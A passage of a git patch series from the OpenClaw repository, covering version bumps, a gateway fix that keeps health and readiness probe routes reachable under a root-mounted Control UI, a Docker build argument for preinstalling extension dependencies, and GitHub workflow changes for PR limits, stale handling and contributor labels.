b/extensions/voice-call/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/voice-call", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw voice-call plugin", "type": "module", "dependencies": { diff --git a/extensions/whatsapp/package.json b/extensions/whatsapp/package.json index cf35bd51ecf..a408bcb609f 100644 --- a/extensions/whatsapp/package.json +++ b/extensions/whatsapp/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/whatsapp", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw WhatsApp channel plugin", "type": "module", diff --git a/extensions/zalo/CHANGELOG.md b/extensions/zalo/CHANGELOG.md index 86acfe1d54e..317ba4abe08 100644 --- a/extensions/zalo/CHANGELOG.md +++ b/extensions/zalo/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/zalo/package.json b/extensions/zalo/package.json index 7530ec6842c..2eec4dbc233 100644 --- a/extensions/zalo/package.json +++ b/extensions/zalo/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/zalo", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw Zalo channel plugin", "type": "module", "dependencies": { diff --git a/extensions/zalouser/CHANGELOG.md b/extensions/zalouser/CHANGELOG.md index 002a5747cc3..c2603a0973e 100644 --- a/extensions/zalouser/CHANGELOG.md +++ b/extensions/zalouser/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/zalouser/package.json b/extensions/zalouser/package.json index 9fc2fbf5243..85e66a73021 100644 --- a/extensions/zalouser/package.json +++ b/extensions/zalouser/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/zalouser", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw Zalo Personal Account plugin via native zca-js integration", "type": "module", "dependencies": { From d070c44091ff82de9835585c0f575bdeef5b59e5 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 12:13:20 -0500 Subject: [PATCH 036/844] fix(gateway): keep probe routes reachable with root-mounted control ui (#38199) * fix(gateway): keep probe routes reachable with root-mounted control ui * Changelog: add root-mounted probe precedence fix entry * Update CHANGELOG.md --- CHANGELOG.md | 1 + src/gateway/control-ui-routing.ts | 7 +++ src/gateway/server.plugin-http-auth.test.ts | 52 +++++++++++++++++++++ 3 files changed, 60 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index a063b910640..376a792e50b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -205,6 +205,7 @@ Docs: https://docs.openclaw.ai - WhatsApp media upload caps: make outbound media sends and auto-replies honor `channels.whatsapp.mediaMaxMb` with per-account overrides so inbound and outbound limits use the same channel config. Thanks @vincentkoc. - Windows/Plugin install: when OpenClaw runs on Windows via Bun and `npm-cli.js` is not colocated with the runtime binary, fall back to `npm.cmd`/`npx.cmd` through the existing `cmd.exe` wrapper so `openclaw plugins install` no longer fails with `spawn EINVAL`. (#38056) Thanks @0xlin2023. - Telegram/send retry classification: retry grammY `Network request ... failed after N attempts` envelopes in send flows without reclassifying plain `Network request ... failed!` wrappers as transient, restoring the intended retry path while keeping broad send-context message matching tight. (#38056) Thanks @0xlin2023. +- Gateway/probe route precedence: keep `/health`, `/healthz`, `/ready`, and `/readyz` reachable when the Control UI is mounted at `/`, so root-mounted SPA fallbacks no longer swallow machine probe routes while plugin-owned routes on those paths still keep precedence. (#18446) Thanks @vibecodooor and @vincentkoc. ## 2026.3.2 diff --git a/src/gateway/control-ui-routing.ts b/src/gateway/control-ui-routing.ts index 77bc9f24a0d..f4c24ddf7f5 100644 --- a/src/gateway/control-ui-routing.ts +++ b/src/gateway/control-ui-routing.ts @@ -6,6 +6,8 @@ export type ControlUiRequestClassification = | { kind: "redirect"; location: string } | { kind: "serve" }; +const ROOT_MOUNTED_GATEWAY_PROBE_PATHS = new Set(["/health", "/healthz", "/ready", "/readyz"]); + export function classifyControlUiRequest(params: { basePath: string; pathname: string; @@ -17,6 +19,11 @@ export function classifyControlUiRequest(params: { if (pathname === "/ui" || pathname.startsWith("/ui/")) { return { kind: "not-found" }; } + // Keep core probe routes outside the root-mounted SPA catch-all so the + // gateway probe handler can answer them even when the Control UI owns `/`. + if (ROOT_MOUNTED_GATEWAY_PROBE_PATHS.has(pathname)) { + return { kind: "not-control-ui" }; + } // Keep plugin-owned HTTP routes outside the root-mounted Control UI SPA // fallback so untrusted plugins cannot claim arbitrary UI paths. if (pathname === "/plugins" || pathname.startsWith("/plugins/")) { diff --git a/src/gateway/server.plugin-http-auth.test.ts b/src/gateway/server.plugin-http-auth.test.ts index 3c5afceaa35..f58acb0dfe5 100644 --- a/src/gateway/server.plugin-http-auth.test.ts +++ b/src/gateway/server.plugin-http-auth.test.ts @@ -494,6 +494,58 @@ describe("gateway plugin HTTP auth boundary", () => { }); }); + test("root-mounted control ui does not swallow gateway probe routes", async () => { + const handlePluginRequest = vi.fn(async () => false); + + await withRootMountedControlUiServer({ + prefix: "openclaw-plugin-http-control-ui-probes-test-", + handlePluginRequest, + run: async (server) => { + const probeCases = [ + { path: "/health", status: "live" }, + { path: "/healthz", status: "live" }, + { path: "/ready", status: "ready" }, + { path: "/readyz", status: "ready" }, + ] as const; + + for (const probeCase of probeCases) { + const response = await sendRequest(server, { path: probeCase.path }); + expect(response.res.statusCode, probeCase.path).toBe(200); + expect(response.getBody(), probeCase.path).toBe( + JSON.stringify({ ok: true, status: probeCase.status }), + ); + } + + expect(handlePluginRequest).toHaveBeenCalledTimes(probeCases.length); + }, + }); + }); + + test("root-mounted control ui still lets plugins claim probe paths first", async () => { + const handlePluginRequest = vi.fn(async (req: IncomingMessage, res: ServerResponse) => { + const pathname = new URL(req.url ?? "/", "http://localhost").pathname; + if (pathname !== "/healthz") { + return false; + } + res.statusCode = 200; + res.setHeader("Content-Type", "application/json; charset=utf-8"); + res.end(JSON.stringify({ ok: true, route: "plugin-health" })); + return true; + }); + + await withRootMountedControlUiServer({ + prefix: "openclaw-plugin-http-control-ui-probe-shadow-test-", + handlePluginRequest, + run: async (server) => { + const response = await sendRequest(server, { path: "/healthz" }); + + expect(response.res.statusCode).toBe(200); + expect(response.getBody()).toBe(JSON.stringify({ ok: true, route: "plugin-health" })); + expect(handlePluginRequest).toHaveBeenCalledTimes(1); + }, + }); + }); + test("requires gateway auth for canonicalized /api/channels variants", async () => { const handlePluginRequest = createCanonicalizedChannelPluginHandler(); From 57f19f0d5c10a54319e3d05f000c1213f17f3601 Mon Sep 17 00:00:00 2001 From: Sally O'Malley Date: Fri, 6 Mar 2026 12:18:42 -0500 Subject: [PATCH 037/844] container builds: opt-in extension deps via OPENCLAW_EXTENSIONS build arg (#32223) * Docker: opt-in extension deps via OPENCLAW_EXTENSIONS build arg Co-Authored-By: Claude Opus 4.6 Signed-off-by: sallyom * CI: clarify extension smoke scope * Tests: allow digest-pinned multi-stage FROM lines * Changelog: note container extension preinstall option --------- Signed-off-by: sallyom Co-authored-by: Claude Opus 4.6 Co-authored-by: Vincent Koc --- .github/workflows/install-smoke.yml | 10 ++++++++++ CHANGELOG.md | 1 + Dockerfile | 21 +++++++++++++++++++++ docker-setup.sh | 3 +++ docs/install/docker.md | 26 ++++++++++++++++++++++++++ docs/install/podman.md | 5 +++++ setup-podman.sh | 5 ++++- src/docker-image-digests.test.ts | 2 +- 8 files changed, 71 insertions(+), 2 deletions(-) diff --git a/.github/workflows/install-smoke.yml b/.github/workflows/install-smoke.yml index 2f16f294daf..682c240a1cf 100644 --- a/.github/workflows/install-smoke.yml +++ b/.github/workflows/install-smoke.yml @@ -41,6 +41,16 @@ jobs: docker build -t openclaw-dockerfile-smoke:local -f Dockerfile . docker run --rm --entrypoint sh openclaw-dockerfile-smoke:local -lc 'which openclaw && openclaw --version' + # This smoke only validates that the build-arg path preinstalls selected + # extension deps without breaking image build or basic CLI startup. It + # does not exercise runtime loading/registration of diagnostics-otel. + - name: Smoke test Dockerfile with extension build arg + run: | + docker build \ + --build-arg OPENCLAW_EXTENSIONS="diagnostics-otel" \ + -t openclaw-ext-smoke:local -f Dockerfile . + docker run --rm --entrypoint sh openclaw-ext-smoke:local -lc 'which openclaw && openclaw --version' + - name: Run installer docker tests env: CLAWDBOT_INSTALL_URL: https://openclaw.ai/install.sh diff --git a/CHANGELOG.md b/CHANGELOG.md index 376a792e50b..cf05272cccd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -25,6 +25,7 @@ Docs: https://docs.openclaw.ai - Hooks/Compaction lifecycle: emit `session:compact:before` and `session:compact:after` internal events plus plugin compaction callbacks with session/count metadata, so automations can react to compaction runs consistently. (#16788) thanks @vincentkoc. - Agents/context engine plugin interface: add `ContextEngine` plugin slot with full lifecycle hooks (`bootstrap`, `ingest`, `assemble`, `compact`, `afterTurn`, `prepareSubagentSpawn`, `onSubagentEnded`), slot-based registry with config-driven resolution, `LegacyContextEngine` wrapper preserving existing compaction behavior, scoped subagent runtime for plugin runtimes via `AsyncLocalStorage`, and `sessions.get` gateway method. Enables plugins like `lossless-claw` to provide alternative context management strategies without modifying core compaction logic. Zero behavior change when no context engine plugin is configured. (#22201) thanks @jalehman. - CLI: make read-only SecretRef status flows degrade safely (#37023) thanks @joshavant. +- Docker/Podman extension dependency baking: add `OPENCLAW_EXTENSIONS` so container builds can preinstall selected bundled extension npm dependencies into the image for faster and more reproducible startup in container deployments. (#32223) Thanks @sallyom. ### Breaking diff --git a/Dockerfile b/Dockerfile index b314ca3283d..3b51860cf6b 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,3 +1,22 @@ +# Opt-in extension dependencies at build time (space-separated directory names). +# Example: docker build --build-arg OPENCLAW_EXTENSIONS="diagnostics-otel matrix" . +# +# A multi-stage build is used instead of `RUN --mount=type=bind` because +# bind mounts require BuildKit, which is not available in plain Docker. +# This stage extracts only the package.json files we need from extensions/, +# so the main build layer is not invalidated by unrelated extension source changes. +ARG OPENCLAW_EXTENSIONS="" +FROM node:22-bookworm@sha256:cd7bcd2e7a1e6f72052feb023c7f6b722205d3fcab7bbcbd2d1bfdab10b1e935 AS ext-deps +ARG OPENCLAW_EXTENSIONS +COPY extensions /tmp/extensions +RUN mkdir -p /out && \ + for ext in $OPENCLAW_EXTENSIONS; do \ + if [ -f "/tmp/extensions/$ext/package.json" ]; then \ + mkdir -p "/out/$ext" && \ + cp "/tmp/extensions/$ext/package.json" "/out/$ext/package.json"; \ + fi; \ + done + FROM node:22-bookworm@sha256:cd7bcd2e7a1e6f72052feb023c7f6b722205d3fcab7bbcbd2d1bfdab10b1e935 # OCI base-image metadata for downstream image consumers. @@ -35,6 +54,8 @@ COPY --chown=node:node ui/package.json ./ui/package.json COPY --chown=node:node patches ./patches COPY --chown=node:node scripts ./scripts +COPY --from=ext-deps --chown=node:node /out/ ./extensions/ + USER node # Reduce OOM risk on low-memory hosts during dependency installation. # Docker builds on small VMs may otherwise fail with "Killed" (exit 137). diff --git a/docker-setup.sh b/docker-setup.sh index ce5e6a08f3d..205394ff36b 100755 --- a/docker-setup.sh +++ b/docker-setup.sh @@ -200,6 +200,7 @@ export OPENCLAW_BRIDGE_PORT="${OPENCLAW_BRIDGE_PORT:-18790}" export OPENCLAW_GATEWAY_BIND="${OPENCLAW_GATEWAY_BIND:-lan}" export OPENCLAW_IMAGE="$IMAGE_NAME" export OPENCLAW_DOCKER_APT_PACKAGES="${OPENCLAW_DOCKER_APT_PACKAGES:-}" +export OPENCLAW_EXTENSIONS="${OPENCLAW_EXTENSIONS:-}" export OPENCLAW_EXTRA_MOUNTS="$EXTRA_MOUNTS" export OPENCLAW_HOME_VOLUME="$HOME_VOLUME_NAME" export OPENCLAW_ALLOW_INSECURE_PRIVATE_WS="${OPENCLAW_ALLOW_INSECURE_PRIVATE_WS:-}" @@ -378,6 +379,7 @@ upsert_env "$ENV_FILE" \ OPENCLAW_EXTRA_MOUNTS \ OPENCLAW_HOME_VOLUME \ OPENCLAW_DOCKER_APT_PACKAGES \ + OPENCLAW_EXTENSIONS \ OPENCLAW_SANDBOX \ OPENCLAW_DOCKER_SOCKET \ DOCKER_GID \ @@ -388,6 +390,7 @@ if [[ "$IMAGE_NAME" == "openclaw:local" ]]; then echo "==> Building Docker image: $IMAGE_NAME" docker build \ --build-arg "OPENCLAW_DOCKER_APT_PACKAGES=${OPENCLAW_DOCKER_APT_PACKAGES}" \ + --build-arg "OPENCLAW_EXTENSIONS=${OPENCLAW_EXTENSIONS}" \ --build-arg "OPENCLAW_INSTALL_DOCKER_CLI=${OPENCLAW_INSTALL_DOCKER_CLI:-}" \ -t "$IMAGE_NAME" \ -f "$ROOT_DIR/Dockerfile" \ diff --git a/docs/install/docker.md b/docs/install/docker.md index 0b618137650..8cbf2555e87 100644 --- a/docs/install/docker.md +++ b/docs/install/docker.md @@ -60,6 +60,7 @@ Optional env vars: - `OPENCLAW_IMAGE` — use a remote image instead of building locally (e.g. `ghcr.io/openclaw/openclaw:latest`) - `OPENCLAW_DOCKER_APT_PACKAGES` — install extra apt packages during build +- `OPENCLAW_EXTENSIONS` — pre-install extension dependencies at build time (space-separated extension names, e.g. `diagnostics-otel matrix`) - `OPENCLAW_EXTRA_MOUNTS` — add extra host bind mounts - `OPENCLAW_HOME_VOLUME` — persist `/home/node` in a named volume - `OPENCLAW_SANDBOX` — opt in to Docker gateway sandbox bootstrap. Only explicit truthy values enable it: `1`, `true`, `yes`, `on` @@ -320,6 +321,31 @@ Notes: - If you change `OPENCLAW_DOCKER_APT_PACKAGES`, rerun `docker-setup.sh` to rebuild the image. +### Pre-install extension dependencies (optional) + +Extensions with their own `package.json` (e.g. `diagnostics-otel`, `matrix`, +`msteams`) install their npm dependencies on first load. To bake those +dependencies into the image instead, set `OPENCLAW_EXTENSIONS` before +running `docker-setup.sh`: + +```bash +export OPENCLAW_EXTENSIONS="diagnostics-otel matrix" +./docker-setup.sh +``` + +Or when building directly: + +```bash +docker build --build-arg OPENCLAW_EXTENSIONS="diagnostics-otel matrix" . +``` + +Notes: + +- This accepts a space-separated list of extension directory names (under `extensions/`). +- Only extensions with a `package.json` are affected; lightweight plugins without one are ignored. +- If you change `OPENCLAW_EXTENSIONS`, rerun `docker-setup.sh` to rebuild + the image. + ### Power-user / full-featured container (opt-in) The default Docker image is **security-first** and runs as the non-root `node` diff --git a/docs/install/podman.md b/docs/install/podman.md index 707fdd3a106..e753c82f32f 100644 --- a/docs/install/podman.md +++ b/docs/install/podman.md @@ -32,6 +32,11 @@ By default the container is **not** installed as a systemd service, you start it (Or set `OPENCLAW_PODMAN_QUADLET=1`; use `--container` to install only the container and launch script.) +Optional build-time env vars (set before running `setup-podman.sh`): + +- `OPENCLAW_DOCKER_APT_PACKAGES` — install extra apt packages during image build +- `OPENCLAW_EXTENSIONS` — pre-install extension dependencies (space-separated extension names, e.g. `diagnostics-otel matrix`) + **2. Start gateway** (manual, for quick smoke testing): ```bash diff --git a/setup-podman.sh b/setup-podman.sh index 0079b3eeb3b..8b9c5caab6c 100755 --- a/setup-podman.sh +++ b/setup-podman.sh @@ -209,7 +209,10 @@ if ! run_as_openclaw test -f "$OPENCLAW_JSON"; then fi echo "Building image from $REPO_PATH..." -podman build -t openclaw:local -f "$REPO_PATH/Dockerfile" "$REPO_PATH" +BUILD_ARGS=() +[[ -n "${OPENCLAW_DOCKER_APT_PACKAGES:-}" ]] && BUILD_ARGS+=(--build-arg "OPENCLAW_DOCKER_APT_PACKAGES=${OPENCLAW_DOCKER_APT_PACKAGES}") +[[ -n "${OPENCLAW_EXTENSIONS:-}" ]] && BUILD_ARGS+=(--build-arg "OPENCLAW_EXTENSIONS=${OPENCLAW_EXTENSIONS}") +podman build ${BUILD_ARGS[@]+"${BUILD_ARGS[@]}"} -t openclaw:local -f "$REPO_PATH/Dockerfile" "$REPO_PATH" echo "Loading image into $OPENCLAW_USER's Podman store..." TMP_IMAGE="$(mktemp -p /tmp openclaw-image.XXXXXX.tar)" diff --git a/src/docker-image-digests.test.ts b/src/docker-image-digests.test.ts index ab721e5abe7..d62a46434e1 100644 --- a/src/docker-image-digests.test.ts +++ b/src/docker-image-digests.test.ts @@ -42,7 +42,7 @@ describe("docker base image pinning", () => { .find((line) => line.trimStart().startsWith("FROM ")); expect(fromLine, `${dockerfilePath} should define a FROM line`).toBeDefined(); expect(fromLine, `${dockerfilePath} FROM must be digest-pinned`).toMatch( - /^FROM\s+\S+@sha256:[a-f0-9]{64}$/, + /^FROM\s+\S+@sha256:[a-f0-9]{64}(?:\s+AS\s+\S+)?$/, ); } }); From e3390bfb70c9bd4f475953d1cb1bebcfb50cf8fa Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 12:37:00 -0500 Subject: [PATCH 038/844] CI: add Barnacle r: too-many-prs guard Co-authored-by: Vincent Koc --- .github/workflows/auto-response.yml | 8 ++ .github/workflows/labeler.yml | 145 ++++++++++++++++++++++++++++ 2 files changed, 153 insertions(+) diff --git a/.github/workflows/auto-response.yml b/.github/workflows/auto-response.yml index 4a572db52e6..5f20a699944 100644 --- a/.github/workflows/auto-response.yml +++ b/.github/workflows/auto-response.yml @@ -35,6 +35,7 @@ jobs: github-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }} script: | // Labels prefixed with "r:" are auto-response triggers. + const activePrLimit = 10; const rules = [ { label: "r: skill", @@ -48,6 +49,13 @@ jobs: message: "Please use [our support server](https://discord.gg/clawd) and ask in #help or #users-helping-users to resolve this, or follow the stuck FAQ at https://docs.openclaw.ai/help/faq#im-stuck-whats-the-fastest-way-to-get-unstuck.", }, + { + label: "r: too-many-prs", + close: true, + message: + `Closing this PR because the author has more than ${activePrLimit} active PRs in this repo. ` + + "Please reduce the active PR queue and reopen or resubmit once it is back under the limit. You can close your own PRs to get back under the limit.", + }, { label: "r: testflight", close: true, diff --git a/.github/workflows/labeler.yml b/.github/workflows/labeler.yml index ed86b4c67bb..c98174d9f12 100644 --- a/.github/workflows/labeler.yml +++ b/.github/workflows/labeler.yml @@ -201,6 +201,151 @@ jobs: labels: [trustedLabel], }); } + - name: Apply too-many-prs label + uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7 + with: + github-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }} + script: | + const pullRequest = context.payload.pull_request; + if (!pullRequest) { + return; + } + + const activePrLimitLabel = "r: too-many-prs"; + const activePrLimit = 10; + const labelColor = "B60205"; + const labelDescription = `Author has more than ${activePrLimit} active PRs in this repo`; + const authorLogin = pullRequest.user?.login; + if (!authorLogin) { + return; + } + + const labelNames = new Set( + (pullRequest.labels ?? []) + .map((label) => (typeof label === "string" ? label : label?.name)) + .filter((name) => typeof name === "string"), + ); + + const ensureLabelExists = async () => { + try { + await github.rest.issues.getLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + name: activePrLimitLabel, + }); + } catch (error) { + if (error?.status !== 404) { + throw error; + } + await github.rest.issues.createLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + name: activePrLimitLabel, + color: labelColor, + description: labelDescription, + }); + } + }; + + const isPrivilegedAuthor = async () => { + if (pullRequest.author_association === "OWNER") { + return true; + } + + let isMaintainer = false; + try { + const membership = await github.rest.teams.getMembershipForUserInOrg({ + org: context.repo.owner, + team_slug: "maintainer", + username: authorLogin, + }); + isMaintainer = membership?.data?.state === "active"; + } catch (error) { + if (error?.status !== 404) { + throw error; + } + } + + if (isMaintainer) { + return true; + } + + try { + const permission = await github.rest.repos.getCollaboratorPermissionLevel({ + owner: context.repo.owner, + repo: context.repo.repo, + username: authorLogin, + }); + const roleName = (permission?.data?.role_name ?? "").toLowerCase(); + return roleName === "admin" || roleName === "maintain"; + } catch (error) { + if (error?.status !== 404) { + throw error; + } + } + + return false; + }; + + if (await isPrivilegedAuthor()) { + if (labelNames.has(activePrLimitLabel)) { + try { + await github.rest.issues.removeLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: pullRequest.number, + name: activePrLimitLabel, + }); + } catch (error) { + if (error?.status !== 404) { + throw error; + } + } + } + return; + } + + let openPrCount = 0; + try { + const result = await github.rest.search.issuesAndPullRequests({ + q: `repo:${context.repo.owner}/${context.repo.repo} is:pr is:open author:${authorLogin}`, + per_page: 1, + }); + openPrCount = result?.data?.total_count ?? 0; + } catch (error) { + if (error?.status !== 422) { + throw error; + } + core.warning(`Skipping open PR count for ${authorLogin}; treating as 0.`); + } + + if (openPrCount > activePrLimit) { + await ensureLabelExists(); + if (!labelNames.has(activePrLimitLabel)) { + await github.rest.issues.addLabels({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: pullRequest.number, + labels: [activePrLimitLabel], + }); + } + return; + } + + if (labelNames.has(activePrLimitLabel)) { + try { + await github.rest.issues.removeLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: pullRequest.number, + name: activePrLimitLabel, + }); + } catch (error) { + if (error?.status !== 404) { + throw error; + } + } + } backfill-pr-labels: if: github.event_name == 'workflow_dispatch' From b782538743c360f195da716cacd5d989f26e81cc Mon Sep 17 00:00:00 2001 From: Shadow Date: Fri, 6 Mar 2026 12:08:53 -0600 Subject: [PATCH 039/844] fix: tune stale workflow limits --- .github/workflows/stale.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml index 4394ad9947c..1551cb927a0 100644 --- a/.github/workflows/stale.yml +++ b/.github/workflows/stale.yml @@ -38,7 +38,8 @@ jobs: stale-pr-label: stale exempt-issue-labels: enhancement,maintainer,pinned,security,no-stale exempt-pr-labels: maintainer,no-stale - operations-per-run: 10000 + operations-per-run: 2000 + ascending: true exempt-all-assignees: true remove-stale-when-updated: true stale-issue-message: | From 3e967cbc229eb0bc9f5c2a371959a57cde49e164 Mon Sep 17 00:00:00 2001 From: Shadow Date: Fri, 6 Mar 2026 12:15:28 -0600 Subject: [PATCH 040/844] fix: add stale workflow fallback run --- .github/workflows/stale.yml | 62 +++++++++++++++++++++++++++++++++++-- 1 file changed, 60 insertions(+), 2 deletions(-) diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml index 1551cb927a0..e6feef90e6b 100644 --- a/.github/workflows/stale.yml +++ b/.github/workflows/stale.yml @@ -22,11 +22,13 @@ jobs: private-key: ${{ secrets.GH_APP_PRIVATE_KEY }} - uses: actions/create-github-app-token@d72941d797fd3113feb6b93fd0dec494b13a2547 # v1 id: app-token-fallback - if: steps.app-token.outcome == 'failure' + continue-on-error: true with: app-id: "2971289" private-key: ${{ secrets.GH_APP_PRIVATE_KEY_FALLBACK }} - - name: Mark stale issues and pull requests + - name: Mark stale issues and pull requests (primary) + id: stale-primary + continue-on-error: true uses: actions/stale@v9 with: repo-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }} @@ -57,6 +59,62 @@ jobs: Closing due to inactivity. If you believe this PR should be revived, post in #pr-thunderdome-dangerzone on Discord to talk to a maintainer. That channel is the escape hatch for high-quality PRs that get auto-closed. + - name: Check stale state cache + id: stale-state + if: always() + uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7 + with: + github-token: ${{ steps.app-token-fallback.outputs.token || steps.app-token.outputs.token }} + script: | + const cacheKey = "_state"; + const { owner, repo } = context.repo; + + try { + const { data } = await github.rest.actions.getActionsCacheList({ + owner, + repo, + key: cacheKey, + }); + const caches = data.actions_caches ?? []; + const hasState = caches.some(cache => cache.key === cacheKey); + core.setOutput("has_state", hasState ? "true" : "false"); + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + core.warning(`Failed to check stale state cache: ${message}`); + core.setOutput("has_state", "false"); + } + - name: Mark stale issues and pull requests (fallback) + if: (steps.stale-primary.outcome == 'failure' || steps.stale-state.outputs.has_state == 'true') && steps.app-token-fallback.outputs.token != '' + uses: actions/stale@v9 + with: + repo-token: ${{ steps.app-token-fallback.outputs.token }} + days-before-issue-stale: 7 + days-before-issue-close: 5 + days-before-pr-stale: 5 + days-before-pr-close: 3 + stale-issue-label: stale + stale-pr-label: stale + exempt-issue-labels: enhancement,maintainer,pinned,security,no-stale + exempt-pr-labels: maintainer,no-stale + operations-per-run: 2000 + ascending: true + exempt-all-assignees: true + remove-stale-when-updated: true + stale-issue-message: | + This issue has been automatically marked as stale due to inactivity. + Please add updates or it will be closed. + stale-pr-message: | + This pull request has been automatically marked as stale due to inactivity. + Please add updates or it will be closed. + close-issue-message: | + Closing due to inactivity. + If this is still an issue, please retry on the latest OpenClaw release and share updated details. + If you are absolutely sure it still happens on the latest release, open a new issue with fresh repro steps. + close-issue-reason: not_planned + close-pr-message: | + Closing due to inactivity. + If you believe this PR should be revived, post in #pr-thunderdome-dangerzone on Discord to talk to a maintainer. + That channel is the escape hatch for high-quality PRs that get auto-closed. lock-closed-issues: permissions: From 8f834ff87d548450bbe7afd5626e52d9b9b8ac71 Mon Sep 17 00:00:00 2001 From: Shadow Date: Fri, 6 Mar 2026 12:29:44 -0600 Subject: [PATCH 041/844] chore: update X handle --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index efaa74d6021..42ec9698453 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -15,7 +15,7 @@ Welcome to the lobster tank! 🦞 - GitHub: [@steipete](https://github.com/steipete) · X: [@steipete](https://x.com/steipete) - **Shadow** - Discord subsystem, Discord admin, Clawhub, all community moderation - - GitHub: [@thewilloftheshadow](https://github.com/thewilloftheshadow) · X: [@4shad0wed](https://x.com/4shad0wed) + - GitHub: [@thewilloftheshadow](https://github.com/thewilloftheshadow) · X: [@4shadowed](https://x.com/4shadowed) - **Vignesh** - Memory (QMD), formal modeling, TUI, IRC, and Lobster - GitHub: [@vignesh07](https://github.com/vignesh07) · X: [@\_vgnsh](https://x.com/_vgnsh) From 9a1a63a667a1666e0c7d67516ee69d20f1724d13 Mon Sep 17 00:00:00 2001 From: Shadow Date: Fri, 6 Mar 2026 12:37:14 -0600 Subject: [PATCH 042/844] chore: disable contributor labels --- .github/workflows/labeler.yml | 191 +++++++++++++++++----------------- 1 file changed, 97 insertions(+), 94 deletions(-) diff --git a/.github/workflows/labeler.yml b/.github/workflows/labeler.yml index c98174d9f12..2e8e1ec59b0 100644 --- a/.github/workflows/labeler.yml +++ b/.github/workflows/labeler.yml @@ -142,10 +142,10 @@ jobs: } const repo = `${context.repo.owner}/${context.repo.repo}`; - const trustedLabel = "trusted-contributor"; - const experiencedLabel = "experienced-contributor"; - const trustedThreshold = 4; - const experiencedThreshold = 10; + // const trustedLabel = "trusted-contributor"; + // const experiencedLabel = "experienced-contributor"; + // const trustedThreshold = 4; + // const experiencedThreshold = 10; let isMaintainer = false; try { @@ -170,37 +170,38 @@ jobs: return; } - const mergedQuery = `repo:${repo} is:pr is:merged author:${login}`; - let mergedCount = 0; - try { - const merged = await github.rest.search.issuesAndPullRequests({ - q: mergedQuery, - per_page: 1, - }); - mergedCount = merged?.data?.total_count ?? 0; - } catch (error) { - if (error?.status !== 422) { - throw error; - } - core.warning(`Skipping merged search for ${login}; treating as 0.`); - } - - if (mergedCount >= experiencedThreshold) { - await github.rest.issues.addLabels({ - ...context.repo, - issue_number: context.payload.pull_request.number, - labels: [experiencedLabel], - }); - return; - } - - if (mergedCount >= trustedThreshold) { - await github.rest.issues.addLabels({ - ...context.repo, - issue_number: context.payload.pull_request.number, - labels: [trustedLabel], - }); - } + // trusted-contributor and experienced-contributor labels disabled. + // const mergedQuery = `repo:${repo} is:pr is:merged author:${login}`; + // let mergedCount = 0; + // try { + // const merged = await github.rest.search.issuesAndPullRequests({ + // q: mergedQuery, + // per_page: 1, + // }); + // mergedCount = merged?.data?.total_count ?? 0; + // } catch (error) { + // if (error?.status !== 422) { + // throw error; + // } + // core.warning(`Skipping merged search for ${login}; treating as 0.`); + // } + // + // if (mergedCount >= experiencedThreshold) { + // await github.rest.issues.addLabels({ + // ...context.repo, + // issue_number: context.payload.pull_request.number, + // labels: [experiencedLabel], + // }); + // return; + // } + // + // if (mergedCount >= trustedThreshold) { + // await github.rest.issues.addLabels({ + // ...context.repo, + // issue_number: context.payload.pull_request.number, + // labels: [trustedLabel], + // }); + // } - name: Apply too-many-prs label uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7 with: @@ -386,10 +387,10 @@ jobs: const sizeLabels = ["size: XS", "size: S", "size: M", "size: L", "size: XL"]; const labelColor = "b76e79"; - const trustedLabel = "trusted-contributor"; - const experiencedLabel = "experienced-contributor"; - const trustedThreshold = 4; - const experiencedThreshold = 10; + // const trustedLabel = "trusted-contributor"; + // const experiencedLabel = "experienced-contributor"; + // const trustedThreshold = 4; + // const experiencedThreshold = 10; const contributorCache = new Map(); @@ -439,27 +440,28 @@ jobs: return "maintainer"; } - const mergedQuery = `repo:${repoFull} is:pr is:merged author:${login}`; - let mergedCount = 0; - try { - const merged = await github.rest.search.issuesAndPullRequests({ - q: mergedQuery, - per_page: 1, - }); - mergedCount = merged?.data?.total_count ?? 0; - } catch (error) { - if (error?.status !== 422) { - throw error; - } - core.warning(`Skipping merged search for ${login}; treating as 0.`); - } + // trusted-contributor and experienced-contributor labels disabled. + // const mergedQuery = `repo:${repoFull} is:pr is:merged author:${login}`; + // let mergedCount = 0; + // try { + // const merged = await github.rest.search.issuesAndPullRequests({ + // q: mergedQuery, + // per_page: 1, + // }); + // mergedCount = merged?.data?.total_count ?? 0; + 